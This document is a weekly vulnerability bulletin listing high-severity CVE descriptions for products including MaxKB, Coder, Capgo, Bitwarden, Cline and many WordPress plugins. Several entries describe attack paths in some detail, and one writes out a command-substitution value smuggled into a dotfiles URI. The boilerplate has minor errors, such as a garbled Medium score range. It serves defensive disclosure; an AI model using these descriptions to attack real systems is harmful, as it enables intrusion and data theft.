



BULLETIN (SB26-215)  
VULNERABILITY SUMMARY FOR THE WEEK OF  
**27<sup>TH</sup> JULY, 2026**



## Bulletin (SB26-215) Vulnerability Summary for the Week of July 27, 2026

Cybernetic GI Security Bulletin provides a summary of new vulnerabilities that have been recorded by the National Institute of Standards and Technology (NIST) National Vulnerability Database (NVD) in the past week. The Department of Homeland Security (DHS) National Cybersecurity and Communications Integration Center (NCCIC) / United States Computer Emergency Readiness Team, is sponsored by The NVD. For modified or updated entries, please visit the NVD, which contains historical vulnerability information.

The vulnerabilities are based on the CVE vulnerability naming standard and determined by the Common Vulnerability Scoring System (CVSS) standard. They are organized according to severity, by the division of high, medium and low severities correspond to the following scores:

**High**- Vulnerabilities will be labeled High severity if they have a CVSS base score of 7.0 - 10.0.

**Medium** - Vulnerabilities will be labeled Medium severity if they have a CVSS base score of 4.0.6.9 -

**Low** - Vulnerabilities will be labeled Low severity if they have a CVSS base score of 0.0 - 3.9.

Entries may include additional information provided by organizations and efforts sponsored by Cybernetic GI. This data may include identifying information, values, definitions, and related links. The patch information is provided to users when available. Please note that some of the information in the bulletin is compiled from external, open source reports and is not a direct result of Cybernetic GI analysis .

The NCCIC Weekly Vulnerability Summary Bulletin is created using information from the National Institute of Standards and Technology (NIST) National Vulnerability Database (NVD). In some cases, the vulnerabilities in the bulletin may not yet have assigned CVSS scores. Please visit NVD for updated vulnerability entries, which include CVSS scores once they are available.

# High Vulnerabilities

| Primary Vendor -- Product                                             | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | Published  | CVSS Score | Source & Patch Info            |
|-----------------------------------------------------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| 1Panel-dev--MaxKB                                                     | MaxKB is an open-source AI assistant for enterprise. Prior to 2.10.0-lts, MaxKB tool import functionality in apps/tools/serializers/tool.py and MCP referencing mode in apps/application/chat_pipeline/step/chat_step/impl/base_chat_step.py do not consistently validate MCP transport type, allowing an authenticated user to import a .tool file containing stdio transport with malicious commands and trigger the configuration through an AI Chat node so MultiServerMCPClient executes arbitrary system commands. This issue is fixed in version 2.10.0-lts.                                                                                                                                                                                                                                                                                                                                                                         | 2026-07-10 | 8.8        | <a href="#">CVE-2026-54149</a> |
| 389ds--389-ds-base                                                    | A heap buffer overflow flaw was found in the SASL I/O layer of 389 Directory Server (389-ds-base). After a successful SASL bind with integrity protection (SSF > 0), an authenticated attacker can send a specially crafted oversized LDAP UNBIND packet that is copied into a 512-byte heap receive buffer without a bounds check in sasl_io_recv() in sasl_io.c. This allows up to approximately 2 megabytes of attacker-controlled data to overflow the buffer, causing a denial of service (server crash). In FreeIPA and Red Hat Identity Management deployments, any domain user with a valid Kerberos ticket, any enrolled host, or any service account can trigger this vulnerability over the network after authenticating via GSSAPI. The vulnerable code path has existed since approximately 2013 (389-ds-base 1.3.2) and was not addressed by the CVE-2025-14905 fix, which patched a separate heap overflow in schema.c only. | 2026-07-07 | 8.8        | <a href="#">CVE-2026-11610</a> |
| actualbudget--actual                                                  | Actual is a local-first personal finance app. Prior to 26.6.0, in OpenID multi-user mode, disabling a user only blocks future OpenID login for that identity, while existing Actual session tokens for the disabled user remain valid. The shared session validation path accepts any existing token row that has not expired without checking whether the associated user is still enabled, allowing a disabled user to continue calling authenticated server endpoints. This issue is fixed in version 26.6.0.                                                                                                                                                                                                                                                                                                                                                                                                                            | 2026-07-07 | 8.3        | <a href="#">CVE-2026-49229</a> |
| Adam Retail Automation Ltd.--MobilMen 20T                             | Improper neutralization of special elements used in an SQL command ('SQL injection') vulnerability in Adam Retail Automation Ltd. MobilMen 20T allows SQL Injection. This issue affects MobilMen 20T: from v3 through 10072026. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  | 2026-07-10 | 9.8        | <a href="#">CVE-2026-2397</a>  |
| Adam Retail Automation Ltd.--MobilMen 20T                             | Authorization bypass through User-Controlled key vulnerability in Adam Retail Automation Ltd. MobilMen 20T allows Privilege Escalation. This issue affects MobilMen 20T: from v3 through 10072026. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               | 2026-07-10 | 8.8        | <a href="#">CVE-2026-2398</a>  |
| Adobe--ColdFusion                                                     | ColdFusion versions 2025.9, 2023.20 and earlier are affected by an Improper Input Validation vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue does not require user interaction. Scope is changed.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | 2026-07-06 | 10         | <a href="#">CVE-2026-48316</a> |
| Allwinner--H616                                                       | Allwinner H616 TV Box TV98 has ADB enabled and exposed to the network on production. An attacker could request for ADB authorization and gain root level privileges if the victim allows access.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            | 2026-07-09 | 8.8        | <a href="#">CVE-2026-58378</a> |
| appium--appium                                                        | Appium is a cross-platform automation framework for all kinds of apps, built on top of the W3C WebDriver protocol. Prior to 1.1.6, the Appium storage plugin exposes POST /storage/delete, whose handler passes the user-supplied name value directly into path.join(storageRoot, name) and fs.rimraf() without path sanitization, allowing an unauthenticated remote client to escape the storage root with ../ sequences and recursively delete arbitrary writable files or directories. This issue is fixed in version 1.1.6.                                                                                                                                                                                                                                                                                                                                                                                                            | 2026-07-08 | 8.6        | <a href="#">CVE-2026-58192</a> |
| arikusi--deepseek-mcp-server                                          | DeepSeek MCP Server is an MCP server for DeepSeek V4. Starting in version 1.4.2 and prior to version 1.7.0, the process-global `SessionStore` accepts caller-supplied `session_id` values without binding them to any authenticated principal or transport session. An attacker can enumerate active session IDs via `deepseek_sessions`, then reuse a victim-controlled `session_id` in `deepseek_chat` to retrieve and continue the victim's conversation context. Version 1.7.0 contains a patch.                                                                                                                                                                                                                                                                                                                                                                                                                                        | 2026-07-09 | 8.6        | <a href="#">CVE-2026-55604</a> |
| Armiya Information Technologies Ltd. Co.--Access Control System (GKS) | Missing Authorization vulnerability in Armiya Information Technologies Ltd. Co. Access Control System (GKS) allows Collect Data from Common Resource Locations. This issue affects Access Control System (GKS): before Version 2.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | 2026-07-07 | 8.2        | <a href="#">CVE-2026-8377</a>  |
| Aster Telecom--Azcall                                                 | A weakness has been identified in Aster Telecom Azcall 10/11. This issue affects some unknown processing of the file /azcall/adm/gestao_loja/sis.php?t=consultar of the component HTTP Handler. Executing a manipulation of the argument nome/perfil/status can lead to sql injection. The attack may be performed from                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | 2026-07-12 | 7.3        | <a href="#">CVE-2026-15482</a> |

# High Vulnerabilities

| Primary Vendor -- Product                                                                               | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | Published  | CVSS Score | Source & Patch Info            |
|---------------------------------------------------------------------------------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                                                                                         | remote. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      |            |            |                                |
| AWS--MCP Gateway & Registry                                                                             | Improper Neutralization of Special Elements in the metrics-service retention policy management component in Amazon mcp-gateway-registry before 1.0.13 might allow an authenticated remote user to execute arbitrary SQL queries via a crafted table_name value that is interpolated into SQL statements in identifier position. To remediate this issue, users should upgrade to version 1.0.13 or later.                                                                                                                                                                                                                                                                                                                                                          | 2026-07-06 | 8.1        | <a href="#">CVE-2026-14471</a> |
| B&R Industrial Automation GmbH--APROL                                                                   | Improper certificate validation vulnerability in B&R Industrial Automation GmbH APROL. This issue affects APROL: before R 4.4-01P5.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | 2026-07-06 | 7.4        | <a href="#">CVE-2026-6900</a>  |
| B&R Industrial Automation GmbH--APROL                                                                   | Untrusted Search Path vulnerability in B&R Industrial Automation GmbH APROL. This issue affects APROL: before R 4.4-01P5.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | 2026-07-06 | 7.7        | <a href="#">CVE-2026-6901</a>  |
| badhonrocks--Divi Torque Lite Divi Modules for the Divi Builder & Theme                                 | The Divi Torque Lite - Divi Theme, Divi Builder & Extra Theme plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 4.2.3. This is due to the use of '___return_true' as the permission_callback for the /install_plugin and /activate_plugin REST API endpoints, which bypasses WordPress's built-in REST API nonce verification. Although the endpoint callbacks contain internal current_user_can() checks, the absence of nonce verification means that a forged cross-site request from a logged-in administrator's browser will pass the capability check via the admin's session cookies. This makes it possible for unauthenticated attackers to install arbitrary plugins from WordPress.                | 2026-07-09 | 8.8        | <a href="#">CVE-2026-4275</a>  |
| baptisteArno--typebot.io                                                                                | TypeBot is a chatbot builder tool. Prior to 3.17.2, Typebot's shared SSRF validator in packages/lib/src/ssrf/validateHttpRequest.ts can be bypassed with the IPv6 unspecified address :: because validateIPAddress blocks local, metadata, and private ranges but does not block :: or its expanded form. A workspace editor or creator can configure a server-side HTTP Request block or guarded script fetch to make the Typebot server connect to local HTTP services through safeKy, including flows triggered by POST /v1/typebots/{publicId}/startChat or POST /v1/sessions/{sessionId}/continueChat. This issue is fixed in version 3.17.2.                                                                                                                 | 2026-07-10 | 8.1        | <a href="#">CVE-2026-49213</a> |
| bitpressadmin--Bit Form Contact Form, Payment Forms, Multi Step Forms, Calculator & Custom Form Builder | The Bit Form - Contact Form, Payment Forms, Multi Step Forms, Calculator & Custom Form Builder plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the deleteFiles function in all versions up to, and including, 3.1.1 This makes it possible for authenticated attackers, with subscriber-level access and above, to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config).                                                                                                                                                                                                                                              | 2026-07-09 | 7.1        | <a href="#">CVE-2026-14372</a> |
| bitwarden--server                                                                                       | Bitwarden Server before 2026.6.0 does not verify that the email in a POST /auth-requests/admin-request body belongs to the authenticated caller, allowing a low-privileged organization member to obtain another user's vault key and a victim-scoped access token by creating a Trusted Device Encryption authentication request, bound to an attacker-controlled public key, that is readable from an unauthenticated endpoint once approved resulting in disclosure of the victim's vault key and account takeover.                                                                                                                                                                                                                                             | 2026-07-08 | 8.7        | <a href="#">CVE-2026-60104</a> |
| blakeblackshear--frigate                                                                                | Frigate is an open source network video recorder. In version 0.17.1, the GET /api/logs/{service} endpoint allows any authenticated user including the viewer role to download Frigate and nginx logs, exposing auto-generated admin passwords and camera credentials logged in request query strings and enabling viewer-to-admin privilege escalation. A fixed release has not been identified.                                                                                                                                                                                                                                                                                                                                                                   | 2026-07-08 | 8.1        | <a href="#">CVE-2026-54652</a> |
| blendmedia--WP CTA Call Now Button, Sticky Button & Call to Action Builder                              | The WP CTA - Sticky CTA Builder, Generate Leads, Promote Sales plugin for WordPress is vulnerable to time-based blind SQL Injection via the 'filename' parameter in all versions up to, and including, 2.2.2. This is due to insufficient escaping of user-supplied column names in the ajaxCheck() method and lack of preparation in the \$wpdb->update() call. The vulnerability is compounded by the complete absence of authorization checks and the endpoint being registered for unauthenticated users via wp_ajax_nopriv_. This makes it possible for unauthenticated attackers to inject arbitrary SQL queries and extract sensitive information from the database via time-based blind SQL injection techniques, including administrator password hashes. | 2026-07-11 | 7.5        | <a href="#">CVE-2026-4661</a>  |
| boldgrid--W3 Total Cache                                                                                | The W3 Total Cache plugin for WordPress is vulnerable to Directory Traversal in all versions up to, and including, 2.9.4 via the setupSources function. This makes it possible for unauthenticated attackers to read the contents of arbitrary files on the server, which can contain sensitive information. Exploitation requires enabling manual minify mode and supplying a manual-format minify filename so that the                                                                                                                                                                                                                                                                                                                                           | 2026-07-11 | 7.5        | <a href="#">CVE-2026-9282</a>  |



# High Vulnerabilities

| Primary Vendor -- Product                                                                                   | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       | Published  | CVSS Score | Source & Patch Info            |
|-------------------------------------------------------------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                                                                                             | hash is empty and the f_array[] entries are not overwritten before reaching setupSources().                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       |            |            |                                |
| brainstormforce--SureForms Drag & Drop Contact Form & Form Builder, Payment Form, Survey, Quiz & Calculator | The SureForms - Drag and Drop Form Builder for WordPress plugin for WordPress is vulnerable to Improper Input Validation in all versions up to, and including, 2.2.1. This is due to the plugin accepting the payment amount directly from user-controlled POST data in the 'create_payment_intent' and 'create_subscription_intent' functions without validating it against the form's configured price. This makes it possible for unauthenticated attackers to modify the payment amount to any arbitrary value when submitting a Stripe payment form, potentially purchasing products or services at significantly reduced prices.                                            | 2026-07-10 | 7.5        | <a href="#">CVE-2026-15288</a> |
| Canonical--Ubuntu                                                                                           | A sandbox escape vulnerability exists in the OpenJDK packages provided in Ubuntu. The .jar MIME handlers installed by these packages execute files marked as executable when the mailcap package is installed. A compromised or malicious sandboxed application with access to the OpenURI portal via xdg-desktop-portal-gtk can write a malicious .jar file to the host file system, set its executable bit, and trigger the handler to execute arbitrary code outside of the sandbox environment.                                                                                                                                                                               | 2026-07-08 | 8.8        | <a href="#">CVE-2026-10037</a> |
| Cap--Cap                                                                                                    | Cap's GET /api/video/ai endpoint fails to validate user ownership or membership before returning private video AI metadata including titles, summaries, and chapters. Authenticated attackers can supply arbitrary video IDs to read sensitive AI-generated content and trigger unauthorized AI generation that consumes the video owner's credits without consent.                                                                                                                                                                                                                                                                                                               | 2026-07-07 | 7.1        | <a href="#">CVE-2026-59704</a> |
| Cap-go--capgo                                                                                               | Capgo (Cap-go/capgo) before 12.128.2 exposes the Supabase PostgREST RPC function public.get_orgs_v6(userid uuid), which is SECURITY DEFINER and granted to the anon role, allowing unauthenticated access. Because the function accepts a caller-supplied user UUID without verifying it matches the authenticated user, an attacker using only the public publishable API key can query POST /rest/v1/rpc/get_orgs_v6 with an arbitrary user UUID to retrieve that user's organization membership, roles, subscription/trial metadata, and management_email (PII).                                                                                                               | 2026-07-08 | 7.5        | <a href="#">CVE-2026-56226</a> |
| capacitor-updater--capacitor-updater                                                                        | In @capgo/capacitor-updater (Cap-go/capgo) before 12.128.2, the end-to-end encryption scheme distributes the private key to each device that downloads the app. Because the public key can be derived from the private key, an attacker performing a man-in-the-middle attack or compromising the Capgo server can create a validly signed update bundle and cause devices to install an update not produced by the original app maker.                                                                                                                                                                                                                                           | 2026-07-10 | 7          | <a href="#">CVE-2026-56254</a> |
| Capgo--Capgo                                                                                                | Capgo before 12.128.2 contains a privilege escalation vulnerability where demoted super_admin users retain access to delete_non_compliant_bundles and count_non_compliant_bundles RPCs due to stale org_users.user_right column not being cleared during role binding deletion. Attackers can exploit this by maintaining a previously granted super_admin role to enumerate and bulk delete non-compliant bundles across the entire organization indefinitely.                                                                                                                                                                                                                   | 2026-07-12 | 8.3        | <a href="#">CVE-2026-56241</a> |
| Capgo--Capgo                                                                                                | Capgo before 12.128.2 contains a broken access control vulnerability in the organization management API where a scoped API key (limited_to_orgs) inherits its owner-user's permissions, allowing destructive cross-organization actions. When a user is an admin in two organizations and creates a write-mode API key restricted to one organization, that key can still perform destructive operations (e.g., DELETE /organization, DELETE /organization/members) against another organization. The root cause is route-level authorization (rbac_check_permission_direct) that evaluates the key owner's user privileges before enforcing the API key's limited_to_orgs scope. | 2026-07-08 | 8.1        | <a href="#">CVE-2026-56246</a> |
| Capgo--Capgo                                                                                                | Capgo before 12.128.2 contains an authentication bypass vulnerability in the password change endpoint that allows attackers to change user passwords without requiring current password confirmation. Attackers with temporary session access can exploit this flaw to permanently lock out legitimate users and achieve full account takeover.                                                                                                                                                                                                                                                                                                                                   | 2026-07-10 | 8.3        | <a href="#">CVE-2026-56305</a> |
| Capgo--Capgo                                                                                                | Capgo before 12.128.2 contains a cross-organization account disruption vulnerability in the SSO prelink endpoint that allows enterprise administrators to delete password identities of users in foreign organizations. Attackers with org.update_settings permission and an active SSO provider can call the prelink-users endpoint to permanently remove email-based authentication for any user matching the provider's email domain, forcing victims to use the attacker's SSO provider or complete password reset recovery.                                                                                                                                                  | 2026-07-12 | 8.1        | <a href="#">CVE-2026-56313</a> |
| Capgo--Capgo                                                                                                | Capgo before 12.128.2 contains an information disclosure vulnerability in the Supabase PostgREST global_stats endpoint that allows unauthenticated attackers to read sensitive financial and operational metrics using only the public apikey.                                                                                                                                                                                                                                                                                                                                                                                                                                    | 2026-07-12 | 7.5        | <a href="#">CVE-2026-56238</a> |

# High Vulnerabilities

| Primary Vendor -- Product                    | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       | Published  | CVSS Score | Source & Patch Info            |
|----------------------------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                              | Remote attackers can query the /rest/v1/global_stats endpoint to expose MRR, total revenue, plan-tier revenue breakdown, customer counts, and operational telemetry.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              |            |            |                                |
| Capgo--Capgo                                 | Capgo before 12.128.2 allows upload-scoped API keys to modify the mutable app_versions.r2_path field through PostgREST, enabling retargeting to arbitrary R2 bundle objects. Attackers can patch r2_path to point to victim objects, soft-delete the attacker-controlled version, and trigger the on_version_update cleanup function to delete the victim R2 object, causing denial of service and bundle availability disruption.                                                                                                                                                                                                                                                                                                                                                                                                                | 2026-07-08 | 7.5        | <a href="#">CVE-2026-56250</a> |
| Capgo--Capgo                                 | Capgo before 12.128.2 contains an information disclosure vulnerability in the get_orgs_v7(userid) RPC function that remains publicly invocable despite intended private access controls. Unauthenticated attackers can supply arbitrary user UUIDs to retrieve foreign users' organization membership, roles, management emails, and billing metadata.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            | 2026-07-10 | 7.5        | <a href="#">CVE-2026-56279</a> |
| Capgo--Capgo                                 | Capgo before 12.128.2 contains an information disclosure vulnerability in the find_apikey_by_value PostgreSQL function marked SECURITY DEFINER and executable by the anon role. Unauthenticated attackers can call this function via the /rest/v1/rpc/find_apikey_by_value endpoint to retrieve sensitive API key metadata including user_id, mode, org scoping, and expiration details when supplied a valid key value.                                                                                                                                                                                                                                                                                                                                                                                                                          | 2026-07-11 | 7.5        | <a href="#">CVE-2026-56303</a> |
| Capgo--Capgo                                 | Capgo before 12.128.2 allows email address changes without requiring current password re-authentication or verification of the existing email address. An attacker with access to a valid session cookie or authenticated browser can change the account email to gain control of account recovery and bypass multi-factor authentication protections.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            | 2026-07-12 | 7.3        | <a href="#">CVE-2026-56308</a> |
| Cesanta--Mongoose                            | Cesanta Mongoose before 7.22 contains an out-of-bounds read in the built-in TLS server function mg_tls_server_rcv_hello(), which uses an attacker-controlled session_id_len byte from a TLS ClientHello as a buffer index without validating it against the length of received data. A remote, unauthenticated attacker can send a single crafted ClientHello with an oversized session id length to read past the receive buffer, crashing any HTTPS, MQTTS, or WSS service built on MG_TLS_BUILTIN.                                                                                                                                                                                                                                                                                                                                             | 2026-07-09 | 7.5        | <a href="#">CVE-2026-11404</a> |
| choijun--LA-Studio Element Kit for Elementor | The LA-Studio Element Kit for Elementor plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 1.6.1 via the get_type_template function. This makes it possible for authenticated attackers, with contributor-level access and above, to include and execute arbitrary .php files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where .php file types can be uploaded and included. The wp_normalize_path function used in get_template only normalizes directory separators and does not resolve or reject path traversal sequences, while the extension check is trivially bypassed because the caller already appends the required extension to the traversal payload. | 2026-07-11 | 7.5        | <a href="#">CVE-2026-15338</a> |
| cifi--GEO Plugin by Squirrly SEO             | The SEO Plugin by Squirrly SEO plugin for WordPress is vulnerable to Arbitrary Post Creation and Stored Cross-Site Scripting in all versions up to, and including, 14.0.0 due to a leak of an API token and insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to create arbitrary posts, and, if the Advanced Custom Fields plugin is installed and activated, inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.                                                                                                                                                                                                                                                                                                                         | 2026-07-10 | 7.2        | <a href="#">CVE-2026-1667</a>  |
| cline--cline                                 | Cline is an autonomous coding agent as an SDK, IDE extension, or CLI assistant. Prior to 3.0.30, the Cline Hub dashboard server launched by the cline dashboard command accepts WebSocket connections on the /browser endpoint without validating the Origin header, and when ROOM_SECRET is unset for local 127.0.0.1 binds, isAuthorizedBrowserRequest() allows attacker-controlled websites to send desktopCommand frames that read workspace state, mutate MCP and provider settings, and trigger command execution when a provider or model is configured. This issue is fixed in version 3.0.30.                                                                                                                                                                                                                                            | 2026-07-08 | 8.8        | <a href="#">CVE-2026-59723</a> |
| CloudFoundry Foundation--UAA                 | A network attacker positioned between UAA and its LDAP directory can impersonate the directory using any certificate from any trusted CA, then harvest the LDAP bind password and every end-user password sent during simple-bind authentication, and return forged group memberships that grant themselves admin scopes. This affects every deployment that authenticates users against LDAP over StartTLS. Affected versions: UAA versions prior to v78.13.0; Cf-deployment versions prior to v56.2.0.                                                                                                                                                                                                                                                                                                                                          | 2026-07-09 | 7.5        | <a href="#">CVE-2026-47840</a> |

# High Vulnerabilities

| Primary Vendor -- Product                        | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      | Published  | CVSS Score | Source & Patch Info            |
|--------------------------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| code-projects--Interview Management System       | A weakness has been identified in code-projects Interview Management System 1.0. This vulnerability affects unknown code of the file <code>\inc\classes\View.php</code> . This manipulation of the argument ID causes sql injection. The attack can be initiated remotely. The exploit has been made available to the public and could be used for attacks.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      | 2026-07-09 | 7.3        | <a href="#">CVE-2026-15137</a> |
| code-projects--Online Food Order System          | A security flaw has been discovered in code-projects Online Food Order System 1.0. This affects an unknown part of the file <code>/edit_food_items.php</code> . The manipulation of the argument update results in sql injection. It is possible to launch the attack remotely. The exploit has been released to the public and may be used for attacks.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | 2026-07-08 | 7.3        | <a href="#">CVE-2026-15135</a> |
| CodeAstro--Simple Online Leave Management System | A vulnerability was determined in CodeAstro Simple Online Leave Management System 1.0. Affected by this vulnerability is an unknown functionality of the file <code>/SimpleOnlineLeave/index.php</code> . Executing a manipulation of the argument email can lead to sql injection. The attack may be performed from remote. The exploit has been publicly disclosed and may be utilized.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | 2026-07-08 | 7.3        | <a href="#">CVE-2026-15134</a> |
| coder--coder                                     | Coder allows organizations to provision remote development environments via Terraform. In versions prior to 2.24.5, 2.29.13, 2.30.8, 2.31.12, 2.32.2, and 2.33.3, <code>`azureidentity.Validate()`</code> verifies that the PKCS#7 signer certificate chains to a trusted Azure CA but never verifies the PKCS#7 signature itself. An attacker can embed a legitimate Azure certificate alongside arbitrary content e.g. <code>`{"vmlid":"&lt;target&gt;"}`</code> and the forged <code>`vmlid`</code> will be accepted returning the victim workspace agent's session token. No authentication is required. The attacker only needs to know a target VM's <code>`vmlid`</code> which is a <code>`UUIDv4`</code> . That's a practical limitation which would typically require prior access to be exploited. Versions 2.24.5, 2.29.13, 2.30.8, 2.31.12, 2.32.2, and 2.33.3 patch the issue. As a workaround, reconfigure any Azure templates to use token authentication rather than <code>`azure-instance-identity`</code> .                                                                    | 2026-07-07 | 9.1        | <a href="#">CVE-2026-46354</a> |
| coder--coder                                     | Coder allows organizations to provision remote development environments via Terraform. Prior to versions 2.29.7 and 2.30.2, the <code>`dotfiles`</code> registry module passed unsanitized user input to shell commands, allowing arbitrary code execution inside a provisioned workspace. Any user who supplied a crafted <code>`dotfiles_uri`</code> value (for example, one containing shell command substitution such as <code>`\$(...)`</code> ) could achieve command execution in their own workspace. The Create Workspace page's <code>`mode=auto`</code> deep links amplified this into a one-click attack: an attacker could craft a URL that prefilled <code>`param.dotfiles_uri`</code> and silently provisioned a workspace with the attacker-controlled value, with no explicit user confirmation. In versions 2.29.7 and 2.30.2, input validation was added to the <code>`dotfiles`</code> module to reject URIs and usernames containing special characters, and the unsafe <code>`eval`/`sh -c`</code> usage was removed. This eliminated the command injection at its source. | 2026-07-07 | 8.1        | <a href="#">CVE-2026-44454</a> |
| coder--coder                                     | Coder allows organizations to provision remote development environments via Terraform. Prior to versions 2.29.7, 2.32.7, 2.33.8, and 2.34.2, <code>`coder config-ssh`</code> wrote server-supplied SSH settings ( <code>`HostnameSuffix`</code> , <code>`SSHConfigOptions`</code> ) into the user's <code>`~/ssh/config`</code> without sanitizing embedded newlines or restricting directives so a malicious or compromised Coder server could inject arbitrary SSH configuration. Practical exploitation requires control of the server-supplied values through a malicious or compromised deployment, a man-in-the-middle position or admin access to the <code>`HostnameSuffix`</code> and <code>`SSHConfigOptions`</code> settings. The fix in versions 2.29.7, 2.32.7, 2.33.8, and 2.34.2 validates <code>`HostnameSuffix`</code> and <code>`SSHConfigOptions`</code> against a strict character set that rejects newlines and other control characters. As a workaround, inspect <code>`coder config-ssh --dry-run`</code> output before applying changes.                                | 2026-07-07 | 8.3        | <a href="#">CVE-2026-55427</a> |
| coder--coder                                     | Coder allows organizations to provision remote development environments via Terraform. Prior to versions 2.29.7, 2.32.7, 2.33.8, and 2.34.2, the tailnet coordinator validates that an agent's <code>`Addresses`</code> derive from its authenticated UUID but applies no equivalent check to <code>`AllowedIPs`</code> . The coordinator forwards agent-supplied <code>`AllowedIPs`</code> verbatim to tunnel peers which install them into the WireGuard peer configuration. The fix in versions 2.29.7, 2.32.7, 2.33.8, and 2.34.2 validates each <code>`AllowedIPs`</code> prefix against the authenticating agent's UUID just like <code>`Addresses`</code> . As a workaround, monitor coordinator logs for agents advertising unexpected <code>`AllowedIPs`</code> prefixes.                                                                                                                                                                                                                                                                                                               | 2026-07-07 | 8.2        | <a href="#">CVE-2026-55428</a> |
| coder--coder                                     | Coder allows organizations to provision remote development environments via Terraform. Prior to versions 2.29.7, 2.32.7, 2.33.8, and 2.34.2, <code>`UpsertWorkspaceApp`</code> overwrites an existing app's <code>`agent_id`</code> on a primary-key conflict and <code>`insertAgentApp`</code> accepts the app ID from the provisioner's <code>`CompleteJob`</code> payload without verifying it belongs to the workspace being built.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | 2026-07-08 | 8.7        | <a href="#">CVE-2026-55429</a> |

# High Vulnerabilities

| Primary Vendor -- Product | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | Published  | CVSS Score | Source & Patch Info            |
|---------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                           | `CompleteJob` runs under `dbauthz.AsProvisioner` so the authorization layer does not block the cross-workspace upsert. Exploitation requires elevated access as a template author or external provisioner operator. The fix in versions 2.29.7, 2.32.7, 2.33.8, and 2.34.2 verifies that any existing `workspace_apps` row matching the supplied ID belongs to the workspace being built and rejects cross-workspace agent reassignment. No known workarounds are available.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         |            |            |                                |
